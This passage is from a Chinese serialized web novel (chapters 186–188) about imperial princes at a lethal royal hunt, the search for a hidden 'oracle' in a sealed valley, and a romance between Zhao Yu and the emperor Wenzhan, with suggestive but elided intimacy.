大郑崇黑。当年太|祖征战四方、定鼎华夏,就曾挥动黑色王旗,它被珍藏于岐山神宫,如今也一千二百余年了。上林王狩的最终胜利者可以总摄大郑全境军权,如遇乱世,甚至有资格问鼎帝座,自然可得太|祖黑色王旗的庇护。 摇光不解,“你为什么一定要去北地?在这里安心看着陛下的局星罗棋布,所有阻碍灰飞烟灭化齑粉,不好吗?你这些年的大功业不够深重?非要做到缂丝陀罗经被无法超度之业障,甚至连你的肉身也死无葬身之地,连累大郑易主,也要一意孤行?” “不。”赵毓说,“我会平安的。” 随即,他又说了一句,“我会平安的。” ‘平安’似乎是赵毓心中一股强悍的执念,可升仙,也可入魔。 很多人都以为上林王狩的开端是编铙、编磬、特磬一顿狂敲,随后排箫与篪吹奏出舒缓、端庄而悠扬的古乐,猎场中这些王公贵戚们立刻停止狩猎兔子、松鸡和鹿,转而进入到王狩的终极状态也就是互猎杀当中去。事实上,这是不可能的。 上林王狩没有开端,只有终点。 柳密看见他们二人从水边过来,赵毓指着摇光对柳密说,“给他找身衣服,还有一块头布,他得把秃瓢包裹起来,要不然太显眼。” 柳密让人去做,想了想,还是开口问,“这是做什么?” “我们得顺着水路,穿行密林,到对面的高山。”赵毓说,“那里有神谕。” 柳密,“神谕?” “是。”赵毓说,“上林王狩其实就是逐鹿,以造反为开端,而每一场造反最开始都需要神谕,其实就是神鬼的故事,看似荒诞不经,不过这种故事最是蛊惑人心,可以瓦解王朝无上的君权。” 柳密,“……” 赵毓却对摇光说,“绿直刚从你那个空镜寺回来,他说你闭关修炼,头发已垂耳,我想着,扎起来挺容易,怎么现在竟是如此这般的锃明刷亮?” 摇光,“我这是临出寺门之前刚剃的。” 赵毓叹气,“一句话忘叮嘱,你勤奋的过头了。” 摇光,“我以为我这次出山,就是过来装个样子,盘腿一坐开始念经,超度枉死的不枉死的魂灵,为此,我还专门给你带了个会念经的大和尚。我什么都想全了,就是当真没想着你让我拉磨。” 此时,一套猎装已经送到,柳密双手捧着,递给摇光。摇光拿过去当场脱衣,柳密转过身去,而赵毓连忙制止,让他到那边树丛后面去换装。 摇光撇嘴,“你们这不会是非礼勿视、非礼勿听、非礼勿言、非礼勿动吧?” 赵毓,“柳大人是清要文官,为人清贵,看不得你这样。” 摇光,“这地界马上杀王公如同砍瓜切菜了,你们还仁礼,虚伪,当真虚伪。” 不过,他还是转去了树丛后面。 柳密,“大殿下如何知晓将要做什么?王狩未见任何旨意,也无任何指引,序次与章法亦不明确。” “不用这些。”赵毓则说,“凡是有资格入猎场狩杀的王公,都知序次与章法。” 柳密看着他。 赵毓,“这些东西圣贤书上是没有的,只在大正宫秘档之内。怎样造反,怎样讲神鬼故事,怎样发动草民,怎样均田发粮,怎样收编文人,怎样重撰大礼,列祖列宗有明示。大郑逐鹿定鼎,功绩已垂史册。” “也不对。”摇光换好了猎装从树丛后走出来,将之前穿着的僧衣与袈裟扔给旁边的黄枞菖,“柳大人可听我王兄曰,但不能尽信他言,因为他时常乱曰。我大郑可不是造反起家,姬姓原为诸侯,采摘耕种,从不穷兵黩武。翦失其鹿,太|祖以眇眇之身,兴兵诛暴虐,终至大定天下。” 柳密,“翦?” “哦,我忘记了。”摇光笑道,“柳大人看过的书,写的应该是大郑祖先天人降世于岐山神宫之上,驭神剑辟混沌,造山川河海、花草树木、鸟兽鱼虫,随后,也在岐山脚下挖泥巴捏人,开创人世间。” “……”柳密,“到也没有这么古老,不过……” “我的确不知翦。” 赵毓说,“翦是之前的天下共主,早烟消云散了。如今这个名字,除了在大正宫看过秘档的王族,其余人都不知道了。他们的国都应该靠南……” “西边。”摇光说,“我去过,距离雁门关不远。翦都几乎没剩下什么东西,只有一些比较模糊的石刻,经过这一千多年也残破不堪,不过终究算是曾经存世的痕迹。” 柳密看着他。 摇光说,“我曾在那里驻兵。” 黄枞菖忽然在赵毓耳边说,“黄金羽不够,需要问陛下调配一些吗?” 祖宗之法,处决王公用黄金羽,而此时在猎场中厮杀的尽为姬姓王族,所以,王狩的传统的就是只使用黄金羽,因为大郑的王公,就是死,也要死于黄金羽之下。 可是,他们手中只有不到十支。 赵毓,“这玩意儿太沉,如果要翻山越岭的话,背不了几支;而且黄金箭矢太软,穿不透软甲。黄金羽说出来好听,看起来夺目,可它就是个银样镴枪头。黄金羽全部舍弃,一个不留。” 黄枞菖,“啊!!!!!” 赵毓,“玄铁箭矢一样能杀死大郑王公。姬姓,并非永生,也会命如蝼蚁,死如尘土。竟之胜者,永载史册,堪任不朽。” “原来……”摇光惊诧,“你从一开始就没打算遵从祖训?” “宪宗在猎场问鼎帝位最后那支箭就是玄铁箭矢。”赵毓说,“祖训?那是给他姓臣子平民百姓顶礼膜拜的,不是给姬姓后世子孙学以致用的。何况武宗皇帝也留有训戒,——上天不足畏,人言不足恤,祖宗不足法!” 柳密不想掺和这种话题,他给自己另外找了个活儿。 摇光却说,“我忽然明白了当年对阵你,我为什么会失败,——坚守礼义廉耻。” “不。”赵毓却说,“你失败的原因只有一个,你是臣子。想法是臣子,做法是臣子,领兵的套路也是臣子,甚至以皇子的身份夺嫡,策略依旧是臣子的模样,过于拘泥了。不过这样也挺好,给自己留了一条活路,这才是大智慧。这样的大智慧并不多见,比如柳大人,他就很智慧, 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“自然有守军,王狩的神谕怎么会是爬个陡峰就戳手可得的俗物?”赵毓说,“猎场的守军均由我布防而控之,他们在哪个山头吃饭喝水歇脚,我都知道。” “贼喊捉贼!不过……”摇光看着他,“这些人看到你,会放水吗?” “不会。”赵毓摇头,“一旦懈怠,格杀勿论。何况,这也是他们搏高爵厚禄的机会。猎场之内不止有北境兵权,还有黄金千两与公侯万代。” “呵……”摇光也学他的样子,弄了些水喝。 “你好像有什么话想问我。”赵毓忽然开口,“我总觉得你秃瓢上飘荡着一团疑惑。” 摇光将手中的犀角杯转了转,终于认真问,“我盘了你在西北这十年的大小战役,各种危局,说实话挺吓人的,但是有一点很模糊,我怎么也没盘明白。当年你深陷漠北王庭,身边人马枯竭,那还是秋后,你究竟是怎么一路走,最后终于在次年开春回到云中大本营的?有援军?可是高昌王?” “不是。”赵毓,“当年他有自己的事情做,没到漠北。” 摇光,“那你……” 赵毓,“就是一路杀回来的。” 摇光,“……” 赵毓,“杀开一里的路,那就离家近一里;杀十里,离家近十里;杀百里,他们的人却毛了,不敢阻了,然后我就回来了。” 摇光愣了半晌,终于笑了,“其实这些年,我盘的是别的事儿。你知道,我盘了很多遍当年的事儿,我想算算,我究竟有没有胜算?我大郑一贯没有绝对嫡长子法统,都是先帝的儿子,为什么不能是我?” “我盘出最大的胜算其实在西北。如果当年我抗旨不遵,不换防,在伊犁就地裂土,也许能混个实权藩王。可今天听你这话,我终于释怀了。就算当年裂土,最终也会损在你手里,且未必会留条活命。” “承怡,你太可怕了。” 赵毓没回应什么,只是将犀角杯收起来,准备启程,却看到摇光依旧看着他,就问,“你又怎么了?” 摇光,“若汝为帝裔,吾家六子能否抗衡?”不过,他说着说着自己就乐了,将杯子中的水泼掉,也收回包袱皮当中,方说,“倒也无所谓,你也不会跟他争。” “废话真多。”赵毓收拾好包袱,“等咱们过了这片林子,到前面可以彻底歇息一下,还可以弄些吃的,砍根小木,刨空,加水加菜加鱼,烤热石头扔进去,煮汤喝。” 这是西北行军时留下来的“传统”,摇光自然知道。穿戈壁很难带上全套的锅具,而野外烤羊又太过于浪费羊油,于是就地取材,将枯掉的胡杨木挖空,羊肉切薄片,再装入水、菜,用火炙烤石头放入其中,直接煮沸汤水,也煮熟肉片。 摇光奇道,“生火,不怕招来你那些虾兵蟹将?” “不会。”赵毓,“再过一个时辰,祭台那边奏《舜帝九韶》,陛下登坛主祭,那些人都要到前面的山谷,朝着祭坛的方向叩拜,没人管咱们。” “哎呀!”摇光忽然感慨,“舜帝大乐,据载也有五千多年了。乐声华美庄重,可以引来百鸟朝凤,呈万邦来朝的盛世景象,一说,我也是许多年没听过了……” 赵毓就不说话,不错眼珠盯着他。 摇光,“你看我做什么?” 赵毓,“你上次听九韶是什么时候?” “应该是凤化三十六年。”摇光,“王师破西疆联军,先帝在岐山神宫祭祀,奏的不就是《九韶》吗?” “不是。”赵毓则说,“原本大祭司想奏《大武》,彰显大郑武功,可先帝说,多少儿郎埋骨黄沙,此一生无法返回故乡,列祖列宗的功业是真的,成泥的血肉和亲人的哀思也是真的。所以奏的是《招魂》和《定魂》,还有《大哀》。” 摇光,“啊?” 赵毓,“你从未听过《九韶》,因为先帝从未奏过《九韶》,他觉得自己的功绩不足以奏九韶之乐。” 摇光,“那就是我记岔劈了,要这么说,你也没听过《九韶》。” 赵毓,“我听过。” 摇光,“啊?” 赵毓,“今年端午,陛下千秋,大正宫奏《九韶》,我听过。” “呃……”摇光呆愣,等一会儿发现赵毓已经背着包袱皮走远了,连忙跟上去,“今上的功绩,在我不知道的时候,已经如此的震古烁今了吗?言官们没有撞柱子?那些朝臣们,都没人说陛下好大喜功?还有那个柳密,他难道什么都没说吗?不会吧,先帝在的时候,他们也没这么乖巧呀!” 他们二人一路逶迤前行。不知不觉一个时辰,再抬头看天,方知已至日暮。这一路不想遇人,就只走偏峰,因而歇息之地虽然宁静,却也着实陡峭,杂草和繁花掩盖着不见底的裂谷与深渊,走路不小心蹬了石子下去,有些许久才听见回音,有些,则彻底杳无声息了。所幸,林中有鸟鸣虫叫,还有野果子的芳香,使这里的宁静带着安逸与繁茂的芬芳。 摇光久居山野,到此处犹如蛟龙入海,他看见崖头挂着一丛兰花,花冠犹如人骨骷髅,这一丛叠叠,竟似京观,不由心生恍惚,想要攀山折下一支,收入囊中。可突然感觉一脚的踝骨极沉,似被深渊巨蟒缠绕,向外撕扯,于是,他只能惨叫一声,跌入谷中。 ——“啊啊啊啊啊!” 伴随着赵毓的惊恐叫声,“老二!” 竟然一丝回声都没有。赵毓急忙寻着水流和草丛倒塌的方向,沿着山路一步一步向下挪移。此时,因为他们二人凄惨的叫声引来了猎场的守军,一队人就从赵毓头顶的山路通过,如果不是野草茂盛,可以完全掩盖住他,赵毓立即就需决定,是否绝杀遇到的这些守军。 所幸,那些人走过去,沿着山路搜索着,并没有注意到其它,而赵毓听见脚下的悬崖有藤条擦岩石的声音,他连忙探头,就看见一身黑衣的摇光,还算矫健地攀登了上来,他连忙扯住摇光的手,最后将他拽上山路。 赵毓,“你怎么用头巾盖着脑袋?” 摇光指了指自己的脸蛋子,没说话。 赵毓摇头,“划破油皮了。” 摇光刚想解释,“嘘!”赵毓让他噤声,“有守军在附近,不过不要紧。陛下主祭的时辰到了,祭台那边奏《九韶》,这里应该能听见,你也听听……” ——大号角奏出的乐声劈空而来!雄浑有力,犹如一把王族重剑,凛然不可侵犯。接下来,各种乐器交织共鸣,构建出似千年猎宫也似战场的迷幻之境,身处其中,仿佛看到广袤无垠,恢弘与壮美。 “怎么样?”赵毓低声问摇光,没回头,依旧看着远方祭台的方向。 那边不说话。 赵毓又说,“这套乐谱在大正宫深藏逾百年,有些乐器都锈了,不能用,还是礼部翻箱倒柜凑齐了工匠,将所有的乐器整修完毕,于端午那日贺陛下千秋,才令《九韶》华音现世。是不是很好听?” 那边还是不说话。 赵毓有些疑惑,“老二,你不是一直很聒噪?” 他想转过来,瞧瞧摇光,却在转瞬之间闻到一丝异常熟悉的香,——迦楠! “你……” “呜!” 那人将他死死固住,低头在他脖子上用力一咬! “两次都咬同一个地方。”赵毓抱怨,“会留疤的。” 此时,有铠甲抖擞的声音,由远及近。 文湛的手指抵在赵毓嘴唇边,“嘘……” 赵毓脖子的皮上当真有血珠子渗了出来,而文湛舌尖一点一点,将红色的血珠舔了个干净。 酥麻酥麻的。 187. 187 187 谷底。 水草丰茂,流水淙淙。 “我说黄瓜!”摇光盘腿坐大石头上,拿着黄枞菖递送过来的布巾,擦掉额角的血迹,抱怨道,“你这不对啊!你们的人找了个铁钩子拴根铁索把我揪下来,就真不怕自己手艺潮,害我跌落山崖摔个粉身碎骨?” “哪能呢?”黄枞菖连忙笑着说,“陛下的雪鹰旗常年打鹞子那类的猛禽,海东青也控过,尤其我们王爷从西北捕回来的那只金雕,凶猛无比,雪鹰旗伺候那鸟比伺候亲爹都尽心。他们手艺特别好,用铁钩子揪您那是牛刀小试,不会失手的。” “搬皇上压我是吧?”摇光将手中布巾往黄枞菖身上一扔,“黄瓜,你小子等着,咱没完,老子记你这一回。” 黄枞菖笑着接过布巾,却说,“人都道二殿下勇武无双,自然是不怕事儿的硬骨头,没想到,当真遇到事儿,您也是如此这般欺软怕硬。” “这话怎么说?”摇光追问。 黄枞菖,“把您从悬崖边上揪下来,也不是奴婢起的头。” 摇光一摆手,“不,你别用激将法,这理不是这么论的。我是骨头硬,可我不傻,我分得清楚刀口在哪。黄瓜,你欠我一个人情,是因为你作为陛下的近侍重臣,你有劝谏之责,你不能任由他胡闹而不加阻拦。” 黄枞菖,“二殿下这话可真是折煞奴婢了,我没这么大权力,我是天家奴婢,主子让我干啥我干啥。再说了,柳大人不是还在嘛,俗话说天塌下来大个顶着,我是矬子,我得躲一边去。” 摇光抬头,看了一眼旁边一言不发的柳密,“青天大老爷,说句话吧。” 柳密方才跟随到此处,方知那时见赵毓入王狩则问黄枞菖‘用奏禀陛下吗?’,而黄枞菖回答‘不用’的真正含义。 此时,他见摇光点他,就说了一句,“清官难断家务事。” 摇光,“……” 崖上。铠甲抖擞的声音逼近,赵毓脖子又疼又痒,更麻烦的是,文湛折腾的他欲念都快上来了。祭台那边传过来的《九韶》华音,一浪一浪,如同波涛怒吼,赵毓扯了扯文湛后腰上锦带的扣,本来想着让他放开,结果文湛一侧身,将他压在崖壁旁厚厚的丛叠兰花中,愈发放肆起来。 已经,近在咫尺。 铁片摩擦带出锋芒的森冷,守军的锋刃似乎就悬于他们二人的发顶,而呻|吟就要破碎而出…… 赵毓的手指已经抓烂了身旁几支兰花。 …… 终于。 文湛指尖一粒石子去远处。 引那些凛然的脚步声渐行渐远。 终于。 赵毓长出了一口气,“我差点被你憋死。” 文湛还不肯放过他,就这样固着,紧紧固着,却不说话。 其实他们两人之间什么也不用说了,该说的都说尽了,该劝的也劝了,可他有非去不可的理由,而他不想让他以身犯险。 “我会平安的。”赵毓重复了一遍,“文湛,我会平安的。” “承怡。” “嗯?” 文湛轻声问,“承怡,作臣子,你不负君王,全了这份忠;作尹氏外子,你不负妻族,全了这份孝;作为曾经西北军统帅,你不负袍泽,全了这份仁,你真可谓忠孝仁俱全!可是,作为我的夫君,你可曾想过,如果你病了伤了死了,不能归来,文湛这个人的性命,还在不在?” 赵毓忽然想起来很多很多年,在一个雨夜,文湛也是这样轻声问他,“只要离开我,即使活得像一条狗,你也不在乎吗?”那时,他的话语似乎很平静,可他的情绪并不平静,俊美的面皮暗隐着一种火焚一般的狰狞,冰冷的呼吸,让人感觉到窒息的眼神。此刻依旧,他们的额头相贴,似乎没有任何间隙,却如履薄冰,文湛还是那个活生生、血淋淋将自己撕开捧到他面前的人。 赵毓,“文湛,你信命吗?” “不信。” ——只信苍生不信鬼神的大郑帝王。 “那就难办了。”赵毓轻声叹息,“本来想要用命和运来忽悠你,可惜陛下至圣极明,微臣忽悠不了呀……” “……”文湛,“怎么,想赌命?” “不是,我没有胜天半子的执念。”赵毓想了想,说,“这么多年,我总是习惯说千算万算老天还有一算,已经成口头禅了。可说了这么多遍,似乎也没怎么走脑子。咱这回反其道,不让老天算了,我们自己算。我不相信自己会折,因为你还在这里,我就算不为自己,为了你,也会拼尽全力平安归来。可,……这世上,除却山河日月、还有你对我的心意之外,还有一些什么,是战争、帝王的权谋与权力的搏杀也无法泯灭的,我想自己找一找。” 远处祭台的《九韶》逐渐停息,入了夜,天空飘起微雨,给人们一种荡涤人间的错觉。 细雨的微丝打湿了文湛的头发。 赵毓伸手在文湛的耳廓上轻轻揉捏,柔声说,“陛下,我们躲躲雨吧……” 再向前走三里,有一个山洞,沿路上都是蒲草。 文湛拿过赵毓原本背着的箭筒,晃了一下,看见里面全是玄铁箭矢,而赵毓发现文湛也拿了一个箭筒,却是一水的黄金羽。 水雾和夜色都糊了上来。 文湛在前面蹚路,一手将赵毓牵在身后,走着走着冷不丁来了一句,“为什么挑二王兄?” 赵毓则说,“你现在是陛下还是文湛?” “嗯?”文湛不解。 赵毓,“说实话,我怕陛下嫌我弄权。” “弄权?”这黑灯瞎火的,都能看见文湛斜挑起来的鸦翅一般的眉毛,似乎成为一杆锋利的笔。 赵毓,“老二他也曾经镇西北,很多东西都明白,很好说话。呃,其实说不说的吧,老二都明白,他这些年的经书当真没白念。不过,要是你如今在陛下不是文湛,我这么说,你得疑心我们勾结旧部,意图染指北境军权,图谋不轨。” “呵!”文湛冷笑出声,“好大一顶帽子,当真堂皇,比我端午那日顶着的十二旒冠冕都大,都重!” 赵毓,“呃……” 文湛,“你不用提这些挤兑我。作为君主,我不疑重臣,我也不疑二王兄,即使他是个假和尚,经书也念得七零八落,并且掌控空镜寺的僧兵,我很大度。而我不让你去北境,就是我的私心。那些言官整日念经似的重复着‘天下为公’,可他们自己‘上下交攻,命危丝发,门户私计,毫发不遗’,不成个样子。我对哥哥这点子私心,可昭日月,没什么不能说的,也没什么不能见人的。” 赵毓叹口气,“唉……” 山洞到了,生了火,也砍了一段树。 赵毓烤了石头,扔进树木挖的凹陷中煮沸水和里面的野菜叶子,而文湛从外面回来,猎了两只兔子,——黄金羽一剑洞穿!虽然如同须弥芥子一般的野兔子死于专门猎杀大郑王公的尊贵的黄金羽之下,并没有超度升天的福祉,但这种鲜血流淌的淋漓,却让它们倔强着一股死不瞑目的惨状。 他们两人不说话,赵毓想着文湛曾纡尊降贵给燕王烤兔子的惨状,只能自告奋勇,给兔子扒皮,架在火焰上焚烤。 赵毓算了算,只要在天亮之前到达侧峰就好,还有一个半时辰可以迷瞪一会儿,于是吃完一只兔子腿,喝了一口野菜汤,他就裹着衣服,靠着火堆躺在一旁。 火堆一直燃着。 火中被砍下的树枝被烧得噼里啪啦。 迷迷瞪瞪,赵毓睁了睁眼皮,发觉自己早滚进文湛的怀中。多年耳边厮磨,他习惯用发顶不自觉在文湛的下巴上蹭了蹭,伸手在他僵直的后背上下抚弄了几下,想要抚平那份僵直,可惜无果,那份僵直越发的强悍起来,随即他被裹挟进入一场火热、猛烈,甚至有些疼痛的梦境当中。 祭台。黄枞菖他们赶过来,看到燕王登台主祭。 因为此时并不是冬至祭天,而燕王虽为姬姓大宗正却毕竟不是陛下,而此处是猎场,杀伐之气与清净也相悖,所以祭祀流程与冬至有异,牺牲却绝不含糊。 整只纯黑色的牛、纯白色的羊,没有任何花色的猪,宰杀之后码在祭台之前,另奉上稻、黍、稷,并玉帛、玉璧、琮,堆满了丝帛锦绣。燕王率诸王公面向神位稽首,以烈酒祝天。 祭祀之礼雍容而漫长。在不断地稽首,敬酒,祝天,奏乐,起舞等等诸多动作之后,越过了漫漫长夜,在天光微现的时候,终于结束了。最后则是望燎。将祭祀用的谷物、祝文抛于燎坛上焚烧,烟气升腾,直入天地之间。 这里人并不全,杀戮早已经开始。 多方人马烈焰腾腾,颇具群雄逐鹿之姿。 “猛将!不世出的猛将!”恭愍郡王就在燕王身侧,他看着远处的战场,忽然感慨到长叹,“百年难遇!” 燕王顺着他指出的方向望去,…… 果然!重兵围困,而那人如同蛟龙出海,凤哮九天! “龙生九子,皆非池中之物!兄长。”恭愍郡王啧啧向燕王感叹道,“先帝这几位皇子,龙章凤姿,鸿鹄大志,都堪称雄才……” “咳咳!”燕王连忙截住,“慎言。” 恭愍郡王也知自己一时忘形,也是咳嗽一声,掩盖一下,这才说,“这位前宁王,如果不坏事,实为我朝开疆拓土的悍将。承怡虽好,却文弱了些,运筹帷幄无人出其右,可无法上阵斩杀敌首,对于名将来说,到底是一桩憾事。” 燕王,“老弟休妄言,这宁王二字,千钧之重啊!” “唉!”恭愍郡王摆了摆手,“此时兄长还有什么可遮挡的,打开天窗说亮话,那些僧兵大家也都看到了,空镜寺那位主持长老下山入猎场的事也不是什么绝密,而那位长老究竟是何人,你知,我知。” 燕王也只是微微点了点头,模棱两可嗯了一声。 恭愍郡王,“只有宁王,才能杀出这样的阵仗。”说完,他继续观战,逐渐,却有些微微疑惑,皱眉道,“许是这十几年,宁王在山上修身养性,读书抄经,因而性子过于淡泊了。此时看他的章法,虽于困境中能杀出重围,却过于心慈手软,不忍伤人,更不要说杀人,因而要重复多次对战,白白消耗。” 他向燕王拱了拱手,“兄长,我去盯着他们分胙肉。” 燕王点头,“辛苦。” 恭愍郡王转身,沿着高台大青石台,拾级而下, ——心慈手软?燕王一时之间有些恍惚,无法将这个词与宁王摇光连起来。宁王自幼不在宫廷教养,所读之书也颇为偏门杂乱,所以性情难以描述。当年宁王驻西北,先帝曾亲自下旨命他回防雍京,当然,凤化末年波谲云诡的朝政是一方面,另一方面,则是宁王在西北杀伐过重——白骨露于野,千里无鸡鸣。而朝廷并无意将西疆诸族屠戮殆尽,留他在西北,不过是激荡仇怨,徒造业障。 而此时,乱军之中,那人却截然不同。 燕王并不认同恭愍郡王所说那人过于心慈手软,白白消耗,因那人武学境界之高如泰山之巅北斗之芒,仰之弥高,却是沉静的,让人想到的是巍巍昆仑、缥缈云海,一片杀戮之中的净土,极为克己复礼。 ——十四年青灯古佛,当真让人脱胎换骨吗? “哎呀,我说黄瓜呀。” 一个声音从西边飘过来,声振屋瓦,就如同他腰间别了一个喇叭。 “祭祀装神弄鬼的也折腾完了,应该开始分肉了,你给我和柳大人弄点吃。饿了,没力气戳着了,马上连说话的力气都没了。” 燕王,“????!!!!!!!!!!!!!!” 他猛地回头,看向说话之人。 摇光也看着他,郁闷道,“王叔,你看我就看我,好好看我一眼就得了,两个眼珠子不用瞪这么大、这么圆,吓人。我说,燕王叔,咱爷俩十四年不见,你也不至于看到我就像活见了鬼吧,让我好伤心呀!” 燕王,“……” 令恭愍郡王惊叹的不世出猛将,不是摇光,而是文湛!战场上,文湛将所有追兵杀退,伸手扯住一匹马的缰绳,揽住赵毓,一跃而上马鞍,单手控住缰绳,将马头强硬拽起,一瞬间便驯服了这匹原本训练有素却依旧桀骜不驯的战马,随即调转马头,涉水而去。 那是比密林更深的深处。 似乎跑了很久,又似乎只是一瞬间,已经换了人间。背后的厮杀已经被抹去,似乎从来没有存在过一样。 就像通往世外桃源。 也是一条不深的水路,渐行渐浅。 豁然开朗! “这是禁地!”赵毓看着这些地形,忽然想到一些事,“小时候我和黄瓜来过这儿,……不确定是这里,但绝对是这片禁地的边界。” 文湛没说话,滚鞍下马,也伸手将赵毓抱下来,随后拍了一下马背,放其识途出山回去。扫了一下周围,看到林中有若隐若现的禁卫军身影,他们不显山不露水却构筑出严密防线。他点头对赵毓说,“对,是那片边界。” ——那片边界。 这里的确是世外桃源。 神谕在这里被守护。 上一次上林王狩之后,密林深处接连着高山的谷底,便成为一个被封闭的区域,神谕被封闭在这里,同时也放入了一些遗民。他们在桃花源中繁衍生息,不知魏晋,就像是琉璃罐中有土壤,放入了一些瓜果的种子,经年累月,长成了一棵一棵参天大树,一株一株枝蔓,成为一片一片果林,延出无尽的瓜藤。 “外人无法进来这里。”赵毓,“我记得当年和黄瓜不小心摸到边界,被拦了回去,跪了很久。” “嗯。”文湛将方才顺手缴的长刀抽出来,把他们面前路上的杂草劈了劈,拉着赵毓一步一步向前蹚。 “可是……”赵毓忽然说,“这里面的人如果不小心摸到边界,也会回去被罚很久吗?” “应该不会。”文湛看了看这片仿若印在画轴上写意山水的桃花源,神情有些过于平淡了,“他们是回不去的。” 赵毓,“……” 文湛,“就地斩杀埋在边界,这是祖宗之法,已经……逾三百余年了。” 忽然吹过一阵冷风,赵毓缩了缩脖子,听完文湛的话,回首再看这片山林,那参天古木,无尽的榉、杉、楠,风动林动,仿佛一层层的魂。 天已日暮。 出了河谷,就是几户人家。 最先遇到那户, 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文湛过去,声音不高不低语气却很舒缓,对女孩子说了一些什么,赵毓听不太明白,总觉得文湛说那话吧,好像是雍京官话,似乎也许大概能听懂,但是仔细品品那是什么都不对劲儿。就像一块红薯,远看像凉薯,近看像土豆,拿到近处摸了摸,仔细看看,原来是块昆仑籽玉,然后旁边有一个人温柔舒缓但是语气坚定解释道,这是一块上好的酸菜,甚至还有燕窝的甜味儿。 不一会儿,文湛过来说,“我和她们说了,咱们是进山打猎的普通人,来自另外一个村寨,并不是秘境外边来的人。这片山林多水,所以走迷了路,眼看天黑,在她们这里借宿一晚,天一亮就走。”他说着抬头看了看天,又看了看远处的多户人家的村落,“她们同意替我们隐瞒,不会上报给村堡。” 赵毓有些惊奇,“你会说他们这里的话?” “没有所谓的他们这里的话。”文湛,“这是三百年前朱仙镇土话,内庭有一教习太监,专门为东宫传授这种口音。” “啊?!”赵毓仔细回想,“我们一起上课,可我怎么不记得这事儿了?” 文湛,“你嫌弃那老内监长得难看,从来不上课。” 赵毓,“……” 文湛,“当年崔姓三等侯业已出毓正宫,竟然依旧随意找借口回来。哥哥也似乎不以为意,不过哥哥一向不在乎宫规,每每陪他去给崔贵妃问安,都忘记我那里的点心,于是被留在崔贵妃处用饭。这些动作颇费时,哥哥便趁着这门课的空档。” 赵毓,“呃……” 这个村落就叫野猪村,因为产猪肉。这里的物产卖给其它村寨,换茶叶、木炭、布匹,食盐还有铁。其实说是卖也不是太合适,因为秘境并没有白银,保留了非常原始的以物易物的交易模式。可是除了这些,其它的一些状态和密林外的大郑王朝没有区别,依旧是森严的宗法制。 “既然这样,为什么这个村落的最外边居然是一个老妇和一个姑娘?”赵毓有些不解,“不应该安排一些青壮丁口守在村外吗?” “老太太的女儿私奔,越过了边界……” 文湛没有细说,但是赵毓懂那是什么意思。 “因而为村里所不容。这个女孩子是老太太的孙女,她儿子儿媳为了保护村里在一场大火中丧生,里正给她们在村边上划了一片地,还圈进来这里的果木和河流,让她们在这里采集耕种,围猎捕鱼。她们和村里的关系不亲近,为我们隐瞒也就顺理成章了。” 进到院子,文湛示意看赵毓看墙上挂着的弓,“老太太丈夫活着的时候曾经是村里的猎手,而这祖孙二人在这里还算清静,应该手中有些真东西,也应该着实会些功夫,所以见到你我还有这些箭筒也不觉震惊,只是……对于哥哥说的话,颇为意外。” “幸好。”文湛忽然低头笑了一下,“那女孩子毕竟没听过外面人的言语,所以我只说哥哥年幼重病落下病根,耳聋,所以不能学说话,虽然喉咙能发音,却也没有什么意义,不过类鸟声蝉鸣,她就信了。” 赵毓,“呃……” 文湛,“应该是哥哥貌美,斯文良善,容易取信于人。” 赵毓叹口气,“她可是看着陛下这张脸相信您的鬼话。” 文湛听着轻轻一挑眉。 赵毓,“这个女孩子在桃花源中,并没有听说过‘世上无此姝丽,非鬼即狐’的话本,不然,当真将陛下当做鬼狐,那我们此行寻找神谕可能会事半功倍。” 女孩子名字是檎。 ——世上无此姝丽,非鬼即狐。这话檎的确没听过,但是她在山林中长大,见过这里的一切。 天很遥远,被密林围困起来,人站在水边,林中,抬头仰望,天际只留一片圆。水岸都是潮湿的,有鹭鸟。这种鹭鸟纯白,可这白色却极致华贵,使鹭就如同林中一株幽然的兰,不似飞禽而似草木。可它并非草木,而是凶猛却安宁的猎手,一动不动临于水边或匿于密林,只为捕猎,一旦发现可吃的肉食迅猛出击,以长喙贯穿,如同人以长剑刺穿敌人的胸膛。 文湛,“有疗治皮外伤口的草药吗?” 檎看着眼前这个男人,他就如同鹭鸟,纯白色,即使他的样貌如同神迹一般绚丽而华美。他静,出奇地静。一般安静是草木,此等宁静,则是铁,似没有生命。然而此刻的他却拥有强大生命力,那是一切生灵繁衍之时的动情,绚丽而华美,如孔雀开屏、雀鸟啾鸣,檎甚至可以看清楚他极度克制之下细微颤抖的嘴唇。 “有。”檎说,“我去拿给你。” 赵毓在木桶中昏昏欲睡,头颅沿着桶边缘垂出去,立即就被一只手托住了。木桶边垫块布巾,轻轻挪了一下,他的脑袋瓜子就靠在上面。这是方才文湛砍的木柴,文湛烧的热水。 “松松身子,解乏。” 玉雕一般的手指,沾了药膏,沿着赵毓的脖子一点一点抹。 赵毓觉得脖子被他咬过的地方有些痒痒,在文湛抹药膏的时候伸手抓了抓,却碰到了他的手指,……被烫了一下。 那是和外表迥然不同的火热。 赵毓从迷糊当中睁了眼睛,脖子梗了梗,向上蹭了蹭,对着文湛的嘴亲一下,被他躲开了,只亲到嘴角。 又亲一下。 这次文湛没躲。 …… 文湛褪下自己身上那身意义非常的黑色缂丝猎装,裹住赵毓,浸了水也不管不顾,直接将他抱起来。 …… 杀戮背后是狰狞的欲望。 如同一张画皮裹住的兽,内在喧嚣,外表却是工笔美人。 横渡红尘不知人间。 终于。那只兽由狰狞到舒缓,再到平和,仿若经历一场生生死死,死死生生的戏,而赵毓以为自己就死在戏里了。 月光倾泻,窗外有风,水边小虫振翅,林中夜鸟啼鸣。 嘈杂起于骤然!不用出柴门,自屋中就能看到,远处村寨有火光,原本只是一点,零星几段,可如同火烧水墨画作一般,迅速燃烧,连城一片。 “其他人也进入秘境了。”文湛的声音清冷,可清冷的过头了,就显出冷酷的内在,“等等,看他们如何动作。” 赵毓,“……,不救火,不救人吗?” 文湛,“他们不是大郑的子民。” 三百年前,先祖在琉璃罐子中放了土,撒了种子;三百年后,这里长成了一片林子,茂密繁盛。 可…… 他们是人吗? 188. 188 188 檎也听见火烧的声音,她从睡梦中惊醒,连忙起身,下床榻穿好衣服鞋子,拿起墙壁上悬挂的弓箭就要向外走,在院墙边缘,却被奶奶阻拦住了。 老太太浑浊的眼睛回望山林远处的村庄。 “奶,烧了。” “对。”老太太念叨着,“烧了。” 她是老人,活的长久,有些记忆,自然也长久、 长久到已经隔代。 